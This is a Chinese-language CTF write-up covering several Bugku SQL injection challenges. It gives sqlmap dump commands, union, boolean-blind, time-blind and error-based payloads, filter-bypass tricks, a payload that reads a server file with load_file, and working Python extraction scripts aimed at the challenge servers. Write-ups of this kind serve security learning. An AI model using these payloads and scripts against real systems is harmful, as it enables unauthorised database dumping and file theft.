传送门
在用户名的后面加一个\可以看到报错,应该是能够报错注入或者联合查询之类的
但是最近学到了一些骚套路,先来看看sqlmap
直接burp抓包另存为一个txt
使用如下命令
1 2 3 4 |
sqlmap -r "new.txt" -p admin_name --dbs //爆数据库,注入点为admin_name sqlmap -r "new.txt" -D bugkusql1 -p admin_name --tables //爆表 sqlmap -r "new.txt" -D bugkusql1 -T flag1 -p admin_name --columns //爆字段 sqlmap -r "new.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump //爆数据 |
开始猜想的可能是报错注入,后来发现竟然是有回显的
这题目就奇怪在用的是双引号”来进行分割
其它直接正常爆就行了
传送门
原理见SQL约束攻击
注册一个admin xx
则可以用它的密码登陆admin了,但是注意空格要足够多,达到截断的目的
比较新颖的一个题目
传送门
布尔盲注,过滤等于时候的一个小trick,用<>,或者>加上^来进行注入
这里还有个小trick,我们并不需要查找到password的表,因为后台的逻辑可能是这样
1 |
select username from admin where usernam = '' |
所以我们可以直接理由^和admin做异或,脚本如下,这里用的>绕过=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import requests url = 'http://47.93.190.246:49167/index.php' s = requests.Session() result = '' for i in range(1,33): for j in range(48,123): payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i, j) print(payload) data = {"username": payload, "password": "123"} r = s.post(url, data=data) r.encoding = 'utf-8' if r.text.find('error') != -1: result += chr(j) #print(result) break print(result) |
MD5查询一下,然后登陆admingetflag
传送门
基础题目,宽字节注入
在网页源码中可以看到gb2312,猜想宽字节注入(实际上来fuzz的时候就直接测试了
没什么特别的,不做赘述了,算是一种常见姿势
传送门
可以看到进行了黑名单过滤,无非就是绕过了
大小写是不行的,发现可以00截断(我也不知道这么叫对不对,大概这么个意思吧
上个payload
1 |
id=-1%20uni%00on%20se%00lect%201,database()%20%23 |
然后常规做法就行了
发现bugku的这些题目大多只涉及一个知识点,算是基础题目
传送门
看到ID,先fuzz一下
一个单引号报错,%23闭合以后正常
用异或这个套路进行过滤检测,有两种套路,一种是注释闭合,一种是两个单引号,两个^闭合
1 2 |
id=1%27^(0)%23 id=1%27^(0)^%27 |
当括号中的值为真时页面会报错,则可以构造测试语句
比如判断union是否被过滤
1 |
id=1%27^(length(%27union%27))%23 |
返回的是id=1的界面,代表length(‘union’)返回值为0,union已经被过滤了,select也被过滤了
然后可以双写绕过,有意思的是,flag并不对,想到题干说有两个flag,又翻了翻
找到下一个网站的Payload
1 |
http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23 |
后半部分的入口
可以当作一个布尔注入用脚本跑,也可以用报错注入
贴一个我写的很丑的脚本,不过效率还是蛮高的,二分查找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
import requests head = 'http://120.24.86.145:9004/Once_More.php?id=' payload = '' index = '' s = '' for n in range(200): left = 32 right = 127 while left<=right: i = (left+right)//2 payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23' index = head + payload r = requests.get(index) r.encoding = 'utf-8' if r.text.find('Hello')!=-1:#小于返回1 right = i-1 else: payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + ' %23' index = head +payload r = requests.get(index) r.encoding = 'utf-8' if r.text.find('Hello') != -1: # 大于返回1 left = i+1 else: #相等 s=s+chr(i) print(s) break |
address字段有一个./Have_Fun.php,打开看看
二维码扫描后看到提示
还有后续注入,有点崩溃
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天没有结果。。最后把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部换为小写后提交又正确了
原因应该是LEFT,MID,RIGHT在比较的时候是不区分大小写的
但是不是很懂出题人留这个后续注入的意思,很迷,或许第二个flag是要把这个注入出来?有兴趣可以试试
这里应该是可以报错注入的,可以尝试一下
这道题把我恶心到了,实在不想再倒回去研究报错注入了,等我期末考完有兴趣再贴上来
传送门
过滤了空格,可以使用回车换行符还替代即%0a或%0d。
关于报错注入其实有很多东西,有一篇很好的文章
这里使用extractvalue()或者updatexml()进行报错,测试一条报错语句
?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)
成功报错,那之后就是读取文件了
load_file函数可以读取文件,但是一定要注意读取文件要进行hex编码,不然读不出来
又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()对hex()过的文件内容进行分割
?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)
反复更改substr的值就能读取整个文件了
传送门
直接给出了源码,简单的白盒代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); |
XFF可以注入,过滤了’,’
时间盲注,两个trick
逗号过滤的情况下可以使用
1 |
select case when xxx then xxx else xxx end |
substr的逗号可以用如下姿势
from x for 1
最终可以构造如下payload,注意末尾多一个括号闭合之前的括号
127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #
上一个最终的注入脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import requests import string mystring = string.ascii_letters+string.digits url='http://120.24.86.145:8002/web15/' data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #" flag = '' for i in range(1,35): for j in mystring: try: headers = {'x-forwarded-for':data.format(str(i),j)} res = requests.get(url,headers=headers,timeout=3) except requests.exceptions.ReadTimeout: flag += j print(flag) break print(flag) |
这里是用的一位dalao的脚本。。。
因为看了大佬的脚本才知道自己的写得是有多丑,就不把自己的放上来了
放上来供大家学习
上面算是sql注入题目的一个合集,从union联合查询,到三种盲注(bool盲注,时间盲注,报错注入)都有很好的例子
总得来说算是质量不错的题目,收获还是很多
所以后续更新个Mysql注入总结吧(flag++
等我考完期末,毕业要紧毕业要紧